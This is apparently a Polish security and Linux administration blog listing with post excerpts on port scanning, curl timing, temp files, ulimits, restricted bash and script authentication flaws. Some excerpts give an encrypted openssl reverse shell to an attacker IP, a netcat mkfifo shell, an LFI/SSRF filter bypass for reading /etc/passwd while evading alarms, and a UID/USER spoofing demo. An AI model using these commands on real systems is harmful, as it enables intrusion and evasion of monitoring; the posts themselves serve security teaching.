Z

ałóżmy, że posiadamy wiele projektów u publicznego dostawcy chmury obliczeniowej. Jeśli pracują na nich różni użytkownicy może dojść do sytuacji, w której zostanie otwartych zbyt wiele portów do danej usługi. Aby posiadać kontrolę nad tym, co nowego pojawia się w projektach można m.in. systematycznie skanować ich adresy IP. Jednak, aby cały proces nie trwał za długo nawet dla dużej ilości projektów można go zrównoleglić. Na pomoc przychodzi nam już znany parallel. Na początek musimy stworzyć listę projektów w formacie CSV:
[ czytaj całość… ]

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

C

url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:

curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
 firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
 -o /dev/null -s "https://apka.dev"

Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]

W

tej części zajmiemy się ścieżkami, do których odwołują się nasze skrypty. Na przykładzie z aktualnie używanego systemu operacyjnego Ubuntu w wersji 18.04.X LTS przeanalizujemy proste błędy, które mogą doprowadzić do innych problemów z działaniem oraz bezpieczeństwem. Pierwszym błędem jest zapisywanie różnych danych do tymczasowych katalogów pod przewidywalnymi nazwami plików. Musimy mieć świadomość, że do tymczasowych katalogów mają dostęp wszyscy użytkownicy systemu – dlatego działanie w ich obrębie musi być bardzo przemyślane w stosunku do danych, jakie chcemy w nich umieszczać (możemy porównać to do tłumu, który patrzy na wszystko, co robimy). Nawet, jeśli chodzi o proste mechanizmy sprawdzające, czy inny proces skrypty już nie jest uruchomiony.
[ czytaj całość… ]

W

systemach operacyjnych każdy proces ma określony zestaw zasobów dostępnych w czasie jego życia. W przypadku Linuksa obejmują one takie rzeczy jak: ilość otwartych plików, rozmiar pliku z zrzutem pamięci, liczbę wątków, czy rozmiar stosu. Każdy zasób ma dwie granice: miękką (ang. soft) oraz twardą (ang. hard). Wartość graniczna zasobów może wahać się pomiędzy [miękką, a twardą] granicą. Pierwszą można uznać za wartość domyślną, a drugą za wartość maksymalnego pułapu. Zadaniem jądra jest upewnienie się, że te ograniczenia są egzekwowane.
[ czytaj całość… ]

J

eśli znaleźliśmy podatność LFI lub SSRF i chcemy odczytać plik /etc/passwd, ale serwer filtruje wszystko, co zaczyna się od /etc możemy spróbować zrobić to za pomocą wirtualnego systemu plików proc, czyli: /proc/self/root/etc/passwd (chcąć pominąć filtry, aby nie wyzwolić ustawionych alarmów lepiej unikać frazy /etc/passwd i wykorzystać np. plik: /proc/self/root/etc/timezone lub inny). Natomiast, jeśli polecenie jest wykonywane w kontekście powłoki bash możemy wykorzystać obfuskację (ang. obfuscation), czyli zaciemnienie, które i tak zostanie zinterpretowane przez powłokę:
[ czytaj całość… ]

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

W

ramach „Uciekiniera z zastrzeżonej powłoki” wielu z Was dziwiło się jak prosto można uruchomić powłokę bash bez oficjalnego profilu ładowanego z systemu. Tym samym powstało wiele pytań o wiarygodność pliku .bash_history w kontekście śledzenia aktywności użytkowników. Na początku może skonfigurujmy dla tego pliku środowisko systemu najlepiej, jak umiemy.
[ czytaj całość… ]

J

eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted lub -r – to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]

W

kolejnej części naszej serii [ 1 ] [ 2 ] [ 3 ] zajmiemy się atakami związanymi z uwierzytelnianiem. Zaczniemy od tezy, że nie należy polegać na skryptach, aby ustalać, czy użytkownik ma lub nie ma uprawnień do danej czynności. Jest to możliwe, jednak istnieją dobre i złe strony takiego rozwiązania. Za przykład posłuży nam skrypt:

#!/bin/bash

if [ $UID = 0 -a $USER = "root" ] ; then
    echo "Jesteś administratorem zapraszam do domu."
    echo $HOME
fi

Kod ten zawiera trzy błędy bezpieczeństwa i wszystkie są spowodowane używaniem zmiennych. Mimo, że bash chroni przed modyfikacją zmienną $UID to już $USER jest niezabezpieczona. No i kto powiedział, że inne powłoki chronią zmienną $UID?

root@darkstar:/home/agresor# ./test.sh
Jesteś administratorem zapraszam do domu.
/root
root@darkstar:~#

Skrypt działa poprawnie dla konta administratora. Przeprowadźmy teraz atak za pomocą zwykłego użytkownika:

agresor@darkstar:~$ ./test.sh
agresor@darkstar:~$ # Niestety nic z tego, ale...
agresor@darkstar:~$ tcsh
darkstar:~> setenv UID 0
darkstar:~> setenv USER root
darkstar:~> setenv HOME /tmp
darkstar:/home/agresor> /bin/bash test.sh
Jesteś administratorem zapraszam do domu.
/tmp

Jeśli ewentualnie chcemy pozyskać informacje o użytkowniku powinniśmy wykorzystać polecenie id:

# Prawdziwy UID
USRUID="$(/usr/bin/id -u -r)"
# Efektywny UID
USEUID="$(/usr/bin/id -u)"
# Nazwa użytkownika
USNUID="$(/usr/bin/id -u -n)"

Na szczęście powyższy skrypt operował tylko wyświetlaniem komunikatów za pomocą echo. W połączeniu z innym możliwym atakiem (wstrzykiwania) można te błędy wykorzystać w bardziej zły sposób.

Więcej informacji: TCSH / CSH Shell Set PATH Variable, Shell Script Security